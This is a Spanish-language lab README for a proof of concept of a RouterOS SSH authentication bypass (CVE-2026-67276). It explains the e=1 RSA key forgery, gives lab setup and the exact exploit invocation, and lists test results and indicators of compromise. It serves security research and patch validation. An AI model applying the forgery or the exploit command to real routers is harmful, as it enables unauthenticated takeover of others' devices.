
CVE-2026-67276 PoC de laboratorio para la omisión de autenticación de clave pública SSH en RouterOS
Solo para uso en laboratorio. Ejecutar exclusivamente contra instancias de RouterOS que sean de tu propiedad. Atacar dispositivos que no te pertenecen es un delito (CFAA, art. 267 del Código Penal polaco, y equivalentes).
CERT PL (2026-09-05) reveló seis vulnerabilidades de RouterOS, explotadas activamente en la naturaleza como la cadena "MikroTrick" (toma completa del dispositivo sin autenticación cuando SSH es accesible desde internet). Corregidas por MikroTik el 2026-09-03 en 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
| CVE | Tipo | Defecto principal |
|---|
| 2026-67276 | CWE-347 (este PoC) | La comprobación de coincidencia de clave de userauth SSH verifica (tipo de clave, módulo) pero omite el exponente; la verificación de firma usa la clave proporcionada por el cliente ⇒ falsificación con e=1 |
| 2026-86060 | CWE-88 | Inyección de argumentos mediante nombre de usuario que comienza con un carácter prohibido (-2 visto en registros de ataques) ⇒ cambio de máscara de política ⇒ escalada de privilegios |
| 2026-67279 | CWE-841 | SSH entra en el protocolo de conexión tras un rekey solicitado por el cliente sin userauth completado ⇒ ejecución no autenticada en el espacio de nombres de archivos |
| 2026-67277 | CWE-306 | Estado previo a la autenticación de bandwidth-test + divulgación de buffer no inicializado + desbordamiento de tamaño ⇒ fuga de memoria del kernel / reinicio |
| 2026-67278 | CWE-347 | X.509 acepta firmas RSA/PKCS#1v1.5 malformadas; ancla de confianza con e=3 ⇒ falsificación de intermediario de confianza |
| 2026-67281 | CWE-824 | Puntero principal no inicializado obsoleto en WebFig /jsproxy + escape de ruta ⇒ lectura de archivos como root |
Rangos vulnerables (los seis): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=víctima} hace que sig^1 mod n == sig, por lo que
la "firma" válida es simplemente EMSA-PKCS1-v1_5(hash, authdata) — calculable
por cualquiera que conozca el módulo público de la víctima. No se necesita clave privada.Precondiciones (el mínimo de la propia divulgación): nombre de usuario objetivo + el módulo RSA público autorizado de ese usuario.
n de esa clave autorizada (de un .pub filtrado/capturado,
registros de aprovisionamiento, o --modulus-hex). Esta es la única entrada
cercana a un secreto; la clave privada nunca es necesaria.ForgeKey — OpenSSH estándar no puede).ssh-rsa en 6.x, rsa-sha2-256
también en 7.x).forge_67276.py — primitiva: análisis de clave pública OpenSSH, codificador EMSA RFC 8017,
constructores de blob/firma falsificados, verificador de referencia RFC 8017.selftest.py — prueba local, sin router: codificador idéntico byte a byte a OpenSSL
(mediante inversión de firma real), la firma falsificada verifica con e=1 y NO con 65537,
simulación completa de la forma de cable RFC 4252 §7. Las 15 comprobaciones PASAN.poc_67276.py — cliente paramiko que realiza la omisión (fijación de algoritmo
por conexión; se requiere --lab-i-own-this-target).console_setup.py — preparación única de CHR a través de telnet serie de qemu
(obtener clave de la víctima mediante 10.0.2.2, importar para admin, habilitar ssh).sanity_real_key.py — control: la autenticación normal de clave pública debe tener éxito primero.victim_rsa / victim.pub — par de claves "víctima" desechable generado de 2048 bits;
excluido deliberadamente de Git.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, puente del host br0
(192.168.100.1/24) con taps tap0-tap3; dnsmasq en br0 con concesiones por MAC.| VM | Imagen | IP del invitado | MAC | Túnel desde Mac |
|---|---|---|---|---|
| chr-6.49.20 | 6.x vulnerable | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | 6.x parcheado | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | 7.x vulnerable | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | 7.x parcheado | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123, y clave de la víctima importada para admin. Los cambios forzados de contraseña
en el primer inicio de sesión se gestionaron por SSH (bootstrap_password.py lee el diálogo) o
mediante sendkey del monitor QEMU (mon_type.py) — la consola serie de CHR está muerta por
defecto; la consola VGA solo es legible mediante screendump del monitor.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]Re-ejecución (ejemplo, VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # línea base
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| Objetivo | clave privada real (línea base) | clave falsificada e=1 (PoC) |
|---|---|---|
| 7.23.3 | auth OK | auth OK + ejecución de /system resource print — CVE confirmado |
| 7.23.4 (parcheado) | auth OK | rechazado |
| 6.49.20 | auth OK | rechazado (ver matiz) |
| 6.49.21 (parcheado) | línea base no válida | no interpretable; el invitado aceptó autenticación SSH none |
Para el par 7.x, la línea base de clave real tiene éxito en ambas versiones, la autenticación
SSH none es rechazada, una falsificación con módulo incorrecto es rechazada por 7.23.3,
y la falsificación con módulo correcto tiene éxito solo en 7.23.3. Esta es una comparación
válida de vulnerable frente a parcheado.
El invitado 6.49.21 no fue aprovisionado como se documenta durante la revalidación
independiente: admin permaneció caducado, /user ssh-keys print detail estaba
vacío, y una solicitud SSH none sin credenciales ejecutó comandos. Claves RSA reales
no relacionadas y claves e=1 con módulo incorrecto también parecieron tener éxito.
Reaprovisionar este invitado y verificar que none y una clave no relacionada son rechazados
antes de usarlo como control parcheado.
Matiz de versión: en 6.49.20 la coincidencia del lado del servidor rechaza el blob e=1
(/log ssh,debug: can't find matching key for user: admin) — la omisión del exponente
divulgada no fue observable en el comparador de 6.x aunque el rango general de CERT
lista [6.0.0, 6.49.21). Confirmado vulnerable: 7.23.3. Confirmado
parcheado: 7.23.4. El estado actual del laboratorio 6.49.21 no prueba ningún resultado. La
actividad en la naturaleza de MikroTrick también apuntó a dispositivos 7.x.
Hallazgo de formato de cable (RFC 8332): la cadena de tipo interna del blob permanece
ssh-rsa incluso para algoritmos de firma rsa-sha2-256/512; el algoritmo de firma
va solo en el campo de algoritmo externo. Ignorar esto hace que el servidor
se desconecte a mitad de userauth (error de análisis del blob) — observado tanto en 6.x como en 7.x.
El ForgeKey del PoC maneja esto, y --exp-enc aligned|canonical alterna
el ancho del mpint e=1 (1 vs 3 bytes). En 7.23.3 AMBOS anchos autentican — el
comparador analiza el exponente y realmente ignora su valor. En 6.49.20 NINGUNO
autentica (can't find matching key) — ver el matiz de versión anterior.
Los volcados hexadecimales de paquetes del lado del servidor /system logging add topics=ssh,debug + /log print sacaron a la luz todo esto.
Valores SHA-256 del archivo de imagen fuente utilizados por este laboratorio:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh,
user <name> added by ssh:-2@<ip>; usuario desconocido con altos privilegios ops;
marcador /system/device-mode/print "Flagged" (indica compromiso, su
ausencia no prueba nada). IPs de atacantes observadas: 82.192.72.4, 103.102.31.18.